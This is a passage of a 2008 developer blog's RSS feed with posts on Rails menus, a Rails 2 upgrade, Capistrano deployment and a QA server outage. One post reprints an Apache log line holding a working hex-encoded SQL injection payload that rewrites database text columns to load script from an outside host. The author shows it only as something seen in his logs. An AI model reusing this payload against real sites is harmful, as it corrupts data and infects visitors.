issue for me for a while.&lt;/p&gt;&lt;p&gt;I know that at Coupa, we have our own in-house solution for cloning
production instances for testing purposes.  There is a Capistrano
task for it, and it has extra logic to reset all passwords and
overwrite user emails with generated ones.  I'll look into that when I
have a need for it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/uASTnQGs2OA" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 7 Nov 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/uASTnQGs2OA/dump-test-data-from-production-to-development-with-yaml-db</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/11/07/dump-test-data-from-production-to-development-with-yaml-db</feedburner:origLink></item>
    <item>
      <title>Building Webapp Menus</title>
      <description>&lt;p&gt;One feature we're releasing for this sprint is a quick access menu on
every page for the common day-to-day actions used in Coupa.
Previously, a user would either have to bookmark the common urls they
used, or dig through the cluttered Administration page to find what
they wanted.  For our app, we needed something more expressive than a
simple web navigation because there are simply too many actions for a
user to take.&lt;/p&gt;&lt;p&gt;Before I bore you with all the reasoning and technical mumbo-jumbo,
this is what the final menu looks like.  All the sexiness is provided
by the mad skills of Kyle and David.&lt;/p&gt;&lt;p&gt;&lt;img src="/images/coupa_menu.png" alt="sexy image of menu with tabs and subtabs"&gt;&lt;/p&gt;&lt;p&gt;Our application deals with several different document types.  There
are some common workflows that these documents follow.  The most basic
workflow is for a user to create a Requisition, have that requisition
go through an approval process, create a Purchase Order (PO, in
procurement-speak) from that requisition, and manage Invoices, and
Inventory based on POs.  We took a very Apple approach to organizing
the top-level tabs so that users can think of what &lt;em&gt;document&lt;/em&gt; they
want to work with, and then drill down to see what actions are
available on that document type.  Initially, we had action-oriented
tabs, but it was hard and confusing to figure out how to logically
group the submenu items.&lt;/p&gt;&lt;p&gt;Based on who's logged in, there are different tabs, and different
submenus.  If a normal user logs in, all they can see is the Home tab
because all they care about is ordering stuff.  Admins and various
supervisor roles will see different sets of tabs.  To make this
possible, we use a great little Rails plugin called
&lt;a href="http://blueprint.devjavu.com/"&gt;Blueprint&lt;/a&gt; to define the structure of
the menu in Ruby code.  It lets us define a hierarchial menu structure
with ruby blocks.  Very spiffy.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class GlobalMenuStructure &amp;lt; Blueprint::Container
  define do
    node 'menus' do
      menu 'Home' do
        node 'links' do
          link 'Home', :link_to =&amp;gt; { :controller =&amp;gt; 'user', :action =&amp;gt; 'home' }
          # ...
        end
      end

      menu 'Requests' do
        node 'links' do
          link 'Requisitions', :link_to =&amp;gt; { :controller =&amp;gt; 'requisitions', :action =&amp;gt; 'index' }
          # ...
        end
      end

      #...
    end
  end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Defining the structure in code enables us to generate and tailor a
menu for each specific user.  The hierarchial menu structure also lets
us create a reverse-lookup object to determine which tab should be
highlighted based on the current page's url.&lt;/p&gt;&lt;p&gt;After the menu structure is defined, we looped over the structure and
conditionally spewed out a bunch of unstyled ul's for the menu.  We
chose &lt;a href="http://developer.yahoo.com/yui/menu/"&gt;YUI Menu&lt;/a&gt; to give us
cross-browser hover effects and actions on the menus.  YUI lets you
define a menu either in HTML markup or in javascript.  Theoretically
we would get slightly faster performance if we created the menu's in
javascript, but it was easier to do styling and extra features if we
defined it in markup.  Note that doing it in markup leaves users
without javascript with an equally unusable app because the unhidden
and unstyled submenus would cover everything else.  YUI also allows
you to trap for keypresses so you could implement keyboard shortcuts
if you wanted.&lt;/p&gt;&lt;p&gt;I don't recommend these super deep and complex menus for webapps,
because it ends up making the webapp feel more like a desktop app.  At
the same time, web menus are never as good as native desktop menus, so
it ends up looking half-assed.  The Coupa menus are definitely the
best solution for the problem though.  If we didn't have menus, we'd
still be control-f'ing for that link we wanted.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/SrHQx2YSw1M" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 30 Oct 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/SrHQx2YSw1M/javascript-menus</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/10/30/javascript-menus</feedburner:origLink></item>
    <item>
      <title>Hacking Live Systems</title>
      <description>&lt;p&gt;After my evening jog, I hopped onto the QA environment around 11pm
because I wanted to look something up for another blog post I was
writing.  Instead of being greeted with the welcome screen of the app,
I get redirected to our homepage.  All kinds of warning flags were
going off in my head, but I couldn't collect my thoughts because of
the runner high.  Did I break something before I left work?  Did I
forget to deploy the latest code base to QA?  Were we going to lose a
night of quality QA from the team in India?&lt;/p&gt;&lt;p&gt;My fears were confirmed when I signed on to chat.  Kyle was online.
Kyle is &lt;em&gt;never&lt;/em&gt; online this late.  I shoot him a quick message, "can
you reach devtrunk?".  Just as I hit return, I get a message from
Minh, "did you change the deploy stuff?".  QA in India had nothing to
test on.  Things were looking grim.&lt;/p&gt;&lt;p&gt;Deep breath, and go!&lt;/p&gt;&lt;p&gt;Do a fresh deploy.  Interesting, the deployment went through without a
hiccup.&lt;/p&gt;&lt;p&gt;SSH into the QA box, look at the Apache logs.  Interesting, Apache's
down.  Let's bring her back up.&lt;/p&gt;&lt;p&gt;Hit the page.  Interesting, still getting redirected.  Must be a bad
config.&lt;/p&gt;&lt;p&gt;Scan through httpd.conf, scan through the included vhosts.
Interesting, they all look ok...&lt;/p&gt;&lt;p&gt;WAIT!  There's no vhost defined for devtrunk, the QA environment.  But
I saw it earlier today...  Let's find an old working config and put
that guy in for now.&lt;/p&gt;&lt;p&gt;Reloading Apache...&lt;/p&gt;&lt;p&gt;&lt;img src="/images/devtrunk-lives.png" alt="devtrunk lives!"&gt;&lt;/p&gt;&lt;p&gt;I have never been happier to see Domo-kun.&lt;/p&gt;&lt;p&gt;It's funny when these situations come up.  Programmers go into this
'turbo' mode.  They start typing really fast, fixing and breaking
things left and right.  This surge of energy can't be sustained for a
long period of time, so it's really important that they both diagnose
and fix the problem before they burn out.  I left out all the details
in my description for the solution, but they involved a lot of window
switching, poorly typed out IM messages, and a lot of keystrokes.&lt;/p&gt;&lt;p&gt;Man, what a rush.  I'm not sure what gave me more of a workout, a 45
minute hour run, or typing frantically while figeting my leg.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/pYuOxMkx2-Q" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 24 Oct 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/pYuOxMkx2-Q/hacking-live-systems</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/10/24/hacking-live-systems</feedburner:origLink></item>
    <item>
      <title>Where to Find Things in Rails</title>
      <description>&lt;p&gt;When I started learning Rails, I was amazed when all kinds of magical
things started working.  The problem was that I never felt in control
of the magic.  If I wanted a specific kind of magic to occur, then
Google would route me to an extremely unfriendly and near worthless
Ruby on Rails wiki.  I often had to guess how things work by tweaking
code found on peoples' blogs or by trial and error after not
understanding the Rails API documentation.  Nowadays, I'm very
comfortable with getting around in Rails and all it's plugins.  Here's
how I go about hunting down a problem.&lt;/p&gt;&lt;p&gt;When a bit of magic goes wrong, here's the order of how I look for
things:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Search within the current file for the method definition.&lt;/li&gt;
&lt;li&gt;Search Google to see if it's a documented Rails feature.&lt;/li&gt;
&lt;li&gt;Search Google to see if it's a common Rails-y idiom.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://petdance.com/ack/"&gt;ack&lt;/a&gt; for the method name in the apps/
subdirectory and see how it's used elsewhere.&lt;/li&gt;
&lt;li&gt;Search for include statements that could have mixed it into this
file only.&lt;/li&gt;
&lt;li&gt;Skim config/environment.rb and/or config/initializers (Rails 2.x)
for potential mixins.&lt;/li&gt;
&lt;li&gt;ack the method in vendor/plugins to see if it came from a plugin.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Sometimes, I'm not so lucky and the method name is dynamically
generated.  For cases like these, I just ack for some substring of the
method that I see being used by other files.&lt;/p&gt;&lt;p&gt;The checklist I outlined is far from a complete list of where I look
for mystical Rails problems.  This list is also not always in order
either.  At some point, I just became good at deciding where to start
looking.  Part of that skill comes from practice, but it really helps
to encourage your sense of curiosity and dig into the code as well.  I
find myself reading Rails code and plugins code even when I understand
the documentation.  Reading the source has taught me all kinds of
Ruby idioms and deepened my understanding of certain libraries.&lt;/p&gt;&lt;p&gt;If you're coming from a language or framework that has fantastic and
comprehensive documentation, don't forget to read the source every now
and then.  Even with complete documentation, it's important to keep up
with your framework and language's community to maximize what they can
do.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/OMlIT8cB8Vw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 13 Oct 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/OMlIT8cB8Vw/where-to-find-things-in-rails</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/10/13/where-to-find-things-in-rails</feedburner:origLink></item>
    <item>
      <title>Coupa and Rails 2</title>
      <description>&lt;p&gt;Joy and churchbells this morning here in sunny San Mateo!  David
smacked down Rails 1.2.3 with a heavy hand and replaced it with the
newer and shinier Rails 2.1.1.  Here's what's rocking and
not-so-rocking with the upgrade.&lt;/p&gt;&lt;p&gt;For starters, the upgrade was completely painless from my
perspective.  It was really as easy as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo gem install rails  # to update rails to 2.1.1
svn up
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That's it!  script/server started up fine, and all was happy...  Until
I logged in.  Then I was confronted with the not-so-friendly
exception:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ActionController::RenderError (You called render with invalid options : {:layout=&amp;gt;false, :action=&amp;gt;"cloud_portlet"}, nil):
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/base.rb:847:in `render_with_no_layout'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/layout.rb:260:in `render_without_benchmark'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/benchmarking.rb:51:in `footnotes_original_render'
/Library/Ruby/Gems/1.8/gems/activesupport-2.1.1/lib/active_support/core_ext/benchmark.rb:8:in `realtime'
/Library/Ruby/Gems/1.8/gems/actionpack-2.1.1/lib/action_controller/benchmarking.rb:51:in `footnotes_original_render'
/vendor/plugins/footnotes/lib/textmate_initialize.rb:12:in `render'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It turns out the old Textmate footnotes plugin doesn't play well with
new Rails.  A simple &lt;code&gt;svn rm&lt;/code&gt; and we were on our way.&lt;/p&gt;&lt;p&gt;Unfortunately, Textmate wasn't the only broken plugin.&lt;/p&gt;&lt;h2&gt;ScopedAccess and named_scope&lt;/h2&gt;&lt;p&gt;&lt;a href="http://agilewebdevelopment.com/plugins/scoped_access"&gt;ScopedAccess&lt;/a&gt;
was also broken.  ScopedAccess allowed us to impose conditions on
ActiveRecord finders in our controllers.  For example, to show only
budget adjustments made on a specific budget, I had the following
ScopedAccess filter defined on the budgets controller.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;around_filter ScopedAccess::Filter.new(BudgetLineAdjustment,
  Proc.new { |controller|
    { :find =&amp;gt; { :conditions =&amp;gt; ['budget_line_id = ?', controller.params[:id]] } }
  }),
  :only =&amp;gt; [:show, :show_owned ]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This filter wraps around the &lt;code&gt;:show&lt;/code&gt; and
&lt;code&gt;:show_owned&lt;/code&gt; action.  Whenever &lt;code&gt;find&lt;/code&gt; is called
on BudgetLineAdjustment, the &lt;code&gt;:conditions&lt;/code&gt; hash it passed
in with the finder.  This worked pretty well and I didn't think it
breached MVC design.&lt;/p&gt;&lt;p&gt;Arguably, it's the model's job to limit and filter what's accessible.
That's exactly what Rails 2.x does.  We've refactored our
ScopedAccesses with
&lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/NamedScope/ClassMethods.html#M001246"&gt;named_scope&lt;/a&gt;
at the model layer.  The above example now lives in
BudgetLineAdjustment:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class BudgetLineAdjustment
  named_scope :for_budget_line,
              lambda { |budget_line|
                { :conditions =&amp;gt; ['budget_line_id = ?', budget_line.id] }
              }
  # ... snip
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Engines&lt;/h2&gt;&lt;p&gt;Initially, we didn't plan on switching to Rails 2 this sprint.  The
original plan was to scrap &lt;a href="http://rails-engines.org/"&gt;LoginEngine and
UserEngine&lt;/a&gt; from the project to &lt;em&gt;prepare&lt;/em&gt;
to migrate to Rails 2.  Replacing Engines just a tedious scan through
all the Engine code we used and selectively copying over the code that
we wanted to keep.  Initially I thought that I would have a hell of a
time migrating this to fit with restful_authentication, but it wasn't
bad and I removed &lt;em&gt;tons&lt;/em&gt; of code.&lt;/p&gt;&lt;h2&gt;Views&lt;/h2&gt;&lt;p&gt;Cosmetically, we renamed all the views to be suffixed
with .html.erb rather than .rhtml.&lt;/p&gt;&lt;h2&gt;Riding on Rails (2)&lt;/h2&gt;&lt;p&gt;Migrating to Rails 2 was a straight forward project.  It didn't
require any new design.  We just had to make sure that whatever was
working before continued to work after the migration.  I'm super
thankful that we decided to tackle this project early in our sprint
because it gave up plenty of time to catch small silly things.  There
were plenty benefits to migrating to Rails 2.  We could remove a lot
of the backports of Rails 2 features that we had previously kept in
lib/rails_extensions.rb.  The whole system felt a bit snappier,
especially in development.  The development logs were actually useful
again because they weren't fill with deprecation warnings and noise
from the Engines code.  This is what it must feel like to be the cool
kid on the block.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/3TXXhVe4SMQ" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 16 Sep 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/3TXXhVe4SMQ/coupa-and-rails2</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/09/16/coupa-and-rails2</feedburner:origLink></item>
    <item>
      <title>Week of Insomnia</title>
      <description>&lt;p&gt;Contrary to what you might think, I think insomnia's fantastic.  It
puts me in this limbo state where my mind feels like lead and I suck
at &lt;em&gt;almost&lt;/em&gt; everything.  One thing I've found myself to be quite good
at is catching up on Internet.  There was plenty of crap, but I found
a lot of good technical stuff.&lt;/p&gt;&lt;p&gt;For starters, I subscribed to a bunch of new blogs:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.railsgarden.com"&gt;Rails Garden&lt;/a&gt; - he had a &lt;a href="http://www.railsgarden.com/2008/04/01/ruby-on-rails-is-going-down-introducing-cobol-on-cogs/trackback/"&gt;fun
entry&lt;/a&gt;
on &lt;a href="http://www.coboloncogs.org/"&gt;Cobol On Cogs&lt;/a&gt;.  I love the
functional function keys.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://blog.jayfields.com/2007/10/rails-rise-fall-and-potential-rebirth.html"&gt;Jay Fields'
Thoughts&lt;/a&gt; - I
forget where I initially heard about the Presenter pattern,
but all the Ruby references to Presenter link to this guy.  Once
you've read and understood the purpose of Presenter, then
&lt;a href="http://jamesgolick.com/2008/7/28/introducing-activepresenter-the-presenter-library-you-already-know"&gt;ActivePresenter&lt;/a&gt;
is an implementation with a very clean declarative syntax.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://railsenvy.com/"&gt;Rails Envy&lt;/a&gt; - I knew of them before as
the funny Ruby on Rails &lt;a href="http://railsenvy.com/tags/Commercials"&gt;commercials
duo&lt;/a&gt;.  I noticed they had
a podcast, so I started listening to that when I go running.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://blog.stackoverflow.com/"&gt;Stack Overflow&lt;/a&gt; - I also
started listening to Stack Overflow.  It's not running music,
but it's pretty darn entertaining.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I played with Google Analytics a bit, and noticed a fun bit in my
Apache access logs:&lt;/p&gt;&lt;pre style="width: 400px"&gt;
81.164.83.227 - - [17/Aug/2008:15:32:31 +0000] "GET
/?;DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661
726368617228323535292C40432076617263686172283430303029204445434C4152452
05461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E61
6D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D
6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752
720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622
E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C6
55F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736
F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302
920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B
40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223
E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6
520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777
7332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27
2727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2
040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434
15445205461626C655F437572736F72%20AS%20CHAR(4000));ExEC(@S);
HTTP/1.1" 200 61318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322)"
&lt;/pre&gt;&lt;p&gt;I also had a blast playing with &lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt;.  The
docs were clear and well organized.  All the selectors were exactly
what I wanted.  It was easy to chain together what I wanted to do
because of the methods return jQuery objects.  The callbacks were also
intuitive and easy to manipulate... even for a Javascript newbie.&lt;/p&gt;&lt;p&gt;Another library which I fell in love with at first site was
&lt;a href="http://railstips.org/2008/7/29/it-s-an-httparty-and-everyone-is-invited"&gt;HTTParty&lt;/a&gt;.
It really brings me back to my Perl screen scrapping days. (Oh!
WWW::Mechanize) It also linked me to the &lt;a href="http://www.programmableweb.com/apis/directory/"&gt;Programmable
Web&lt;/a&gt; homepage.  I
didn't really read through what's available, but this is going to be a
great place to prototype mashups.&lt;/p&gt;&lt;p&gt;Seeing all this good stuff made me look for an excuse to write
something to solidify the basics in my head.  The result is a
half-assed mish-mash of Javascript and Ruby ala jQuery and Merb.  I
used Merb instead of Rails because I was too lazy to create a
database.  Surprisingly enough, &lt;a href="http://www.modrails.com/documentation/Users%20guide%202.0.html#_merb"&gt;Passenger supports
Merb&lt;/a&gt;
just fine.  I looked at some of the other lighter Ruby web frameworks,
and they were all pretty fun.  I noted that the new
&lt;a href="http://www.whatcodecraves.com/articles/2008/08/06/flaco_crusher/"&gt;Webgen&lt;/a&gt;
installed &lt;a href="http://ramaze.net/"&gt;Ramaze&lt;/a&gt; as a dependency.  Check it out
if you're &lt;a href="http://hyphy.whatcodecraves.com/"&gt;feeling hyphy&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/EEUyuKbSLK0&amp;amp;hl=en&amp;amp;fs=1"&gt;
&lt;param name="allowFullScreen" value="true"&gt;
&lt;embed src="http://www.youtube.com/v/EEUyuKbSLK0&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;&lt;p&gt;(Disclaimer: This is an inside joke that just won't die)&lt;/p&gt;&lt;p&gt;Speaking of Passenger, the new Railscast &lt;a href="http://railscasts.com/episodes/122-passenger-in-development"&gt;episode about
Passenger&lt;/a&gt;
along with &lt;a href="http://nubyonrails.com/articles/ask-your-doctor-about-mod_rails"&gt;nuby on rails'
article&lt;/a&gt;
about rstakeout might finally provide a solution to prevent me from
having to restart my server in development whenever I edit a plugin or
a file in the lib directory.  It also clued me into a whole world of
Ruby monitoring systems, the funniest named one being
&lt;a href="http://god.rubyforge.org/"&gt;God&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;I worked a bunch on migrating this blog over to use Webgen.  I'd say
that I'm about 60 or 70 percent of the way there.  I spent most of the
time just reading and enjoying how simple and clear the code was.  I
think I have a good enough grip on enough code that I'd like to write
a few extensions so that I can continue to publish this blog without
any changes to the previous articles I wrote.&lt;/p&gt;&lt;p&gt;I think there was even more &lt;em&gt;stuff&lt;/em&gt; I wanted to keep in my head.
Unforunately, a real downside of insomnia is having some, if not most,
of the good stuff leak out.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/gh9iXuDCi3I" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sun, 17 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/gh9iXuDCi3I/week-of-insomnia</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/17/week-of-insomnia</feedburner:origLink></item>
    <item>
      <title>Mini-apps Galore!</title>
      <description>&lt;p&gt;I'm warming up to the idea of using small webapps that do &lt;em&gt;less&lt;/em&gt;.
Instead of full blown behemoth applications that take a lot of time to
learn and configure, they're more in the spirit of Unix tools or perl
one-liners.  Here's three that I came across that show quite a bit of
promise.&lt;/p&gt;&lt;h2&gt;Hoptoad&lt;/h2&gt;&lt;p&gt;&lt;a href="/images/hoptoadapp.png"&gt;
   &lt;img src="/images/hoptoadapp-thumb.png" alt="hoptoad main page with a listing of unresolved exceptions from my application"&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Think of Hoptoad as a beautiful and functional wrapper around
&lt;a href="http://agilewebdevelopment.com/plugins/exception_notifier"&gt;exception
notifier&lt;/a&gt;.
Only rather than installing exception notifier per application,
Hoptoad is a single stop for all your broken app needs.  Setup is as
simple as installing the Hoptoad plugin, adding 4 lines to your app,
and running a rake task.  After this, you can access your exceptions
in Hoptoad's simple web interface, or subscribe to the provided RSS
feeds.  Each exception gets a summary view, some environment context,
and a full backtrace.  If you wanted to munge on that exception data
some more, they include an
&lt;a href="http://whatcodecraves.hoptoadapp.com/pages/api"&gt;API&lt;/a&gt; to access the
site.&lt;/p&gt;&lt;h2&gt;PingMyMap&lt;/h2&gt;&lt;p&gt;&lt;a href="/images/pingmymap.png"&gt;
  &lt;img src="/images/pingmymap-thumb.png" alt="listing of what sites pingmymap sent my sitemap to"&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I came across PingMyMap when I was cleaning up my sitemap generator.
At the time I only used Google's &lt;a href="https://www.google.com/webmasters/tools/docs/en/sitemap-generator.html"&gt;python sitemap
generator&lt;/a&gt;.
I'm not hell-bent on SEO, but I figured it wouldn't hurt for people to
be able to find my site if it actually helps them.  PingMyMap doesn't
offer any tips or tools for optimizing your site.  For an app that
deals with &lt;a href="http://www.sitemaps.org/"&gt;sitemaps&lt;/a&gt;, it doesn't even offer
you a tool to generate a sitemap!  Instead all this mini app does is
take an existing sitemap and send it off to 5 search engines that it
knows about.  It provides an
&lt;a href="http://pingmymap.com/documentation/#api"&gt;API&lt;/a&gt; for you to post the
actual sitemap, and then it'll tell you whether it was successful or
not in submitting your sitemap to those search engines.&lt;/p&gt;&lt;h2&gt;Disqus&lt;/h2&gt;&lt;p&gt;&lt;a href="/images/disqus.png"&gt;
  &lt;img src="/images/disqus-thumb.png" alt="disqus showing list of comments for this blog article"&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;To play with Disqus, simply post a comment to this blog article :).
Like the other two examples above, Disqus offloads the common tasks of
'comments' into a shared webapp.  You can manage comments you get from
multiples sites.  It also offers integration with existing popular
blog engines.  Unlike the others, Disqus also holds some of your data.
This eases management of that data, but at the cost of losing control
of your own data.  One of the main reasons I enjoyed using Blogger was
that it allowed me the option to store my own data on my own server.
One of the main reasons why I disliked Blogger was that functionality
wasn't always guaranteed.  Disqus shows promise because they also
&lt;em&gt;plan&lt;/em&gt; on having APIs for accessing their app, but only time can show
if this one's a keeper.&lt;/p&gt;&lt;p&gt;For the record, I had the exact same idea for a webapp like Disqus for
a long time.  I even spent an evening a few days ago prototyping out a
super raw version.  My raw version let you do all kinds of crazy
stuff... including XSS attacks, off-site AJAX calls, and SQL injection
attacks :)&lt;/p&gt;&lt;h2&gt;Wrap up&lt;/h2&gt;&lt;p&gt;Even though these 3 apps do very different things, they all share a
very similar &lt;em&gt;feel&lt;/em&gt;.  They don't try to do everything, they're simple
to setup, and best of all, they're extendable and hackable through
their APIs.  It might not be the kind of extensibility that a
full-blown open source project provides, but with the shallow learning
curve, it's the &lt;em&gt;right&lt;/em&gt; amount of extensibility to get stuff done.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/jwxVciVFIFI" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 13 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/jwxVciVFIFI/mini-apps-galore</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/13/mini-apps-galore</feedburner:origLink></item>
    <item>
      <title>Picking at Capistrano</title>
      <description>&lt;p&gt;Here is the setup I wanted with &lt;a href="http://www.capify.org/"&gt;Capistrano&lt;/a&gt;
with my &lt;a href="http://housing.whatcodecraves.com/"&gt;housing app&lt;/a&gt;.  I wanted
to develop locally and continue using Subversion over SSH for source
control.  Meanwhile, Cap would run svn commands remotely with
basic svnserve.  My first configuration looked like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;set :repository, "file:///var/svn/#{application}/trunk"
set :user, "myuser"
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;My reasoning was that cap would first ssh to my server, and then run&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn checkout file:///var/svn/housing/trunk /path/to/deploy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since I use a private key to authenticate to my server, I wouldn't
need to type my password to start the initial ssh connection, and cap
wouldn't need a password to access the repository because it would
execute commands on the remote server with "file:///"&lt;/p&gt;&lt;p&gt;It turns out that SCM commands are run locally rather than remotely.
The implication is that my ":repository" variable has to be accessible
both locally and remotely.  With ":repository" set to "file:///" cap
tried to determine the revision number by running 'svn info' locally.
Of course, this failed miserably because the repository existed on the
remote server.&lt;/p&gt;&lt;p&gt;Once I figured this out, I thought it'd be a simple matter of changing
the config to say:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;set :repository, "svn+ssh://whatcodecraves.com/var/svn/#{application}/trunk"
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now cap will happily run svn locally because it'll work over
"svn+ssh://".  Unfortunately, this also had a huge flaw.  When cap
tries to run the checkout command remotely, it'll use "svn+ssh://".
But because my private key isn't stored on the server, cap will give
three feeble attempts before croaking:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;** [208.53.44.43 :: err] Permission denied, please try again.
** [208.53.44.43 :: err] Permission denied, please try again.
** [208.53.44.43 :: err] Permission denied (publickey,password).
** [208.53.44.43 :: err] svn: Connection closed unexpectedly
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What's weird about this is that I didn't ask cap to use public key
authentication, but it didn't give me any choice in the matter!
Crawling the internet yielded a lot of noise about poorly configured
repositories or basic explanations about public key authentication.
Finally, I came across &lt;a href="http://groups.google.com/group/capistrano/browse_thread/thread/13b029f75b61c09d/3746185353022cc7?lnk=gst&amp;amp;q=Permission+denied+(publickey%2Cpassword)#3746185353022cc7"&gt;a
response&lt;/a&gt;
in Capistrano's google group.  The fix is damn short:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; default_run_options[:pty] = true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I looked up what a &lt;a href="http://en.wikipedia.org/wiki/Pseudo_terminal"&gt;pseudo
terminal&lt;/a&gt;.  I don't
really see why this provides a fix, but my guess is that setting pty
to true creates a new process separate from the original ssh process.
Running svn within this new process would default to password
authentication after failing to use public key authentication.&lt;/p&gt;&lt;p&gt;This turned out to be an amazing pain to setup.  But it did let me
step through some of the Capistrano code and appreciate what goes on
under the hood.  It also teaches me to search their &lt;a href="http://groups.google.com/group/capistrano"&gt;google
group&lt;/a&gt; rather than doing a
general web search.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/KydSBfHPG5I" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 12 Aug 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/KydSBfHPG5I/picking-at-capistrano</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/08/12/picking-at-capistrano</feedburner:origLink></item>
    <item>
      <title>Tweaking Apache with Phusion Passenger</title>
      <description>&lt;p&gt;Carrying over from weekend cleanup, I started exploring the different
deployment options available.  Here are some bleak notes as I go
along:&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.modrails.com/documentation.html"&gt;Phusion Passenger&lt;/a&gt;.
Tried this one with Apache 2 and mpm-prefork instead of mpm-worker
since mpm-worker was chewing through my 256mb of ram too quickly.
Using Passenger with normal Ruby was easy enough.  It really simplied
what needed to be defined in the vhost.  Using Passenger with their
recommended 'enterprise' Ruby was simply a nightmare.  Trying to
restart Apache with PassengerRuby set to enterprise ruby's path had
